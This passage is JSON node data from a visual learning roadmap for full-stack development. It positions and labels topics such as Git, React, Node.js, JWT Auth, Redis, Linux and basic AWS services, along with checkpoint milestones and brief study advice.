\"positionAbsolute\": {\n        \"x\": 191.6185781382378,\n        \"y\": 71.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 62\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 62\n      }\n    },\n    {\n      \"id\": \"We2APJpOPTr-VNfowG0kI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 162.00948964805815,\n        \"y\": 316.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"khoUtTUxdf8udAzN9_CAb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 162.00948964805815,\n        \"y\": 316.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8sPXL8iClpPqje03ksses\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -19.56446376179997,\n        \"y\": 316.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"khoUtTUxdf8udAzN9_CAb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -19.56446376179997,\n        \"y\": 316.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R4aeJNOrfWyVp3ea-qF4H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -26.978069631375547,\n        \"y\": 215.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint - External Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"YVMyHFSCVF-GgXydq-SFJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -26.978069631375547,\n        \"y\": 215.40458777290166\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PW10DTLV-5U2ue770SXtM\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 262.02193036862445,\n        \"y\": 229.90458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"BfadoWcewEUb5PQ_itqK-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 262.02193036862445,\n        \"y\": 229.90458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 85,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"CVCqdPkq_hGQfI8EEi5RC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.47806963137555,\n        \"y\": 315.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tailwind CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2kKHuQZScu7hCDgQWxl5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -329.47806963137555,\n        \"y\": 315.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"khoUtTUxdf8udAzN9_CAb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -444.8178956686777,\n        \"y\": 315.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mGgx_QTEPmVKf6AijX9fi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -444.8178956686777,\n        \"y\": 315.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zFGWxgLPcZoW7KIzlnSV9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -350.97806963137555,\n        \"y\": 215.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint - Collaborative Work\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"7JU1cVggMDoZUV-adGsf-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -350.97806963137555,\n        \"y\": 215.40458777290166\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8MhESAMICF6j7X3RL9bFE\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -117.38142186176219,\n        \"y\": 265.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 73,\n      \"positionAbsolute\": {\n        \"x\": -117.38142186176219,\n        \"y\": 265.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 73\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"H63WyNiiJ2Yr9HWs98EjR\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -459.47806963137555,\n        \"y\": 396.90458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Feel free to skip these and revisit after learning Backend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"TRANSPARENT\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"fKzuMTsf6XL_0Ik6t8SAX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 63,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 63\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -459.47806963137555,\n        \"y\": 396.90458777290166\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 63\n      }\n    },\n    {\n      \"id\": \"QfW-odmDYknm_qXNcDu5o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -482.08230823147517,\n        \"y\": 575.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Start Backend Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 48,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 48\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -482.08230823147517,\n        \"y\": 575.9045877729017\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 48\n      }\n    },\n    {\n      \"id\": \"7JU1cVggMDoZUV-adGsf-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -443.47806963137555,\n        \"y\": 483.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint - Frontend Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -443.47806963137555,\n        \"y\": 483.40458777290166\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_aA6Hp4KkgJeptqo8oKTg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 7.00948964805815,\n        \"y\": 574.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cUOfvOlQ_0Uu1VX3i67kJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 7.00948964805815,\n        \"y\": 574.9045877729017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qCV1wiNSXj4OSHyMqxRIK\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -26.978069631375547,\n        \"y\": 431.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"You can pick any backend programming language. My recommendation is Node.js because you are already familiar with JavaScript and it's easier to pick.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"TRANSPARENT\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"fKzuMTsf6XL_0Ik6t8SAX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 445,\n      \"height\": 101,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 445,\n        \"height\": 101\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -26.978069631375547,\n        \"y\": 431.40458777290166\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 445,\n        \"height\": 101\n      }\n    },\n    {\n      \"id\": \"0QKpvDD33C3WCmNGtRanp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -104.20433957685361,\n        \"y\": 531.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 130,\n      \"positionAbsolute\": {\n        \"x\": -104.20433957685361,\n        \"y\": 531.9045877729017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 130\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 130\n      }\n    },\n    {\n      \"id\": \"WqNcVZ8IkyqEubdd9JCa1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -283.06446376179997,\n        \"y\": 630.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend Starts here\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Dj2QhtEuuIgKc2CvgFGyK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -283.06446376179997,\n        \"y\": 630.9045877729017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"JGu0TKwAw-ieiG92BytYI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -47.99051035194185,\n        \"y\": 651.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — CLI Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"YVMyHFSCVF-GgXydq-SFJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -47.99051035194185,\n        \"y\": 651.9045877729017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o72NM00uoHXswkadhqVVW\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 253.00948964805815,\n        \"y\": 666.4045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"BfadoWcewEUb5PQ_itqK-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 253.00948964805815,\n        \"y\": 666.4045877729017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 85,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"vmHbWdmMHF53otXIrqzRV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -117.38142186176219,\n        \"y\": 847.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RESTful APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cUOfvOlQ_0Uu1VX3i67kJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -117.38142186176219,\n        \"y\": 847.9045877729017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3EtGLO6cwkLc1-o9gwFNk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -49.99051035194191,\n        \"y\": 779.7210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — Simple CRUD Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"sO_9-l4FECbaqiaFnyeXO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -49.99051035194191,\n        \"y\": 779.7210153640276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BQV2ycD-EnmssO1idTgx9\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 253.00948964805815,\n        \"y\": 794.2210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"zh4DYU0QpAolXJ6wE0CEe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 253.00948964805815,\n        \"y\": 794.2210153640276\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 85,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"vHojhJYjiN0IwruEqi1Dv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -257.06446376179997,\n        \"y\": 847.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JWT Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cUOfvOlQ_0Uu1VX3i67kJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -257.06446376179997,\n        \"y\": 847.9045877729017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Onfd7Sl8LG2sjh2aQY7gb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -460.08230823147517,\n        \"y\": 847.9045877729017\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cUOfvOlQ_0Uu1VX3i67kJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -460.08230823147517,\n        \"y\": 847.9045877729017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SHTSvMDqI7X1_ZT7-m--n\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -576.5823082314752,\n        \"y\": 1145.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linux Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cUOfvOlQ_0Uu1VX3i67kJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -576.5823082314752,\n        \"y\": 1145.3143775154215\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gSUWhfd0DQoJjDpHEkk0i\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -504.47806963137555,\n        \"y\": 970.0850398450953\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"b7EdI-25v_eVMkqTBa0se\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -504.47806963137555,\n        \"y\": 970.0850398450953\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 100,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"v4NF25lJElAtkU0Rm6Fob\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -459.47806963137555,\n        \"y\": 955.5850398450953\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint — Complete App\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"YVMyHFSCVF-GgXydq-SFJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -459.47806963137555,\n        \"y\": 955.5850398450953\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Oav7YPRBmsE1gVhEURckg\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -560.0823082314752,\n        \"y\": 1037.8143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#000000\"\n        },\n        \"oldId\": \"rQozP_4g0XSRR4l5-OGsI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -560.0823082314752,\n        \"y\": 1037.8143775154215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 20\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Dj2QhtEuuIgKc2CvgFGyK\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -473.2578102157039,\n        \"y\": 1051.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps starts here\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -473.2578102157039,\n        \"y\": 1051.3143775154215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"cUOfvOlQ_0Uu1VX3i67kJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -241.7043395768536,\n        \"y\": 1145.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic AWS Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2kKHuQZScu7hCDgQWxl5u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -241.7043395768536,\n        \"y\": 1145.3143775154215\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6oBIxYj8WPcUHidQ99tus\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.56446376179997,\n        \"y\": 1087.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EC2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-cphY7Imnv6JBMujVIF7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -239.56446376179997,\n        \"y\": 1087.3143775154215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"QtL-bLKtWIdH00K6k_PdC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -165.56446376179997,\n        \"y\": 1087.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"n2Xp_ijJ2OS8xhE7xMWxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -165.56446376179997,\n        \"y\": 1087.3143775154215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"5zyYpu9cyuTFwQCjTbHpS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.56446376179997,\n        \"y\": 1032.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Route53\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-cphY7Imnv6JBMujVIF7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -239.56446376179997,\n        \"y\": 1032.3143775154215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"B-cphY7Imnv6JBMujVIF7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -133.7043395768536,\n        \"y\": 1032.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SES\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -133.7043395768536,\n        \"y\": 1032.3143775154215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"n2Xp_ijJ2OS8xhE7xMWxk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -91.56446376179997,\n        \"y\": 1087.3143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"S3\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"B-cphY7Imnv6JBMujVIF7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 60,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 60,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -91.56446376179997,\n        \"y\": 1087.3143775154215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"fKzuMTsf6XL_0Ik6t8SAX\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 58.49718479195076,\n        \"y\": 923.8143775154215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Use the checkpoints and do not forget to practice what you learn. There are project ideas at each checkpoint that you can build to solidify your knowledge.\",\n        \"style\": {\n          \"fontSize\": 17,\n          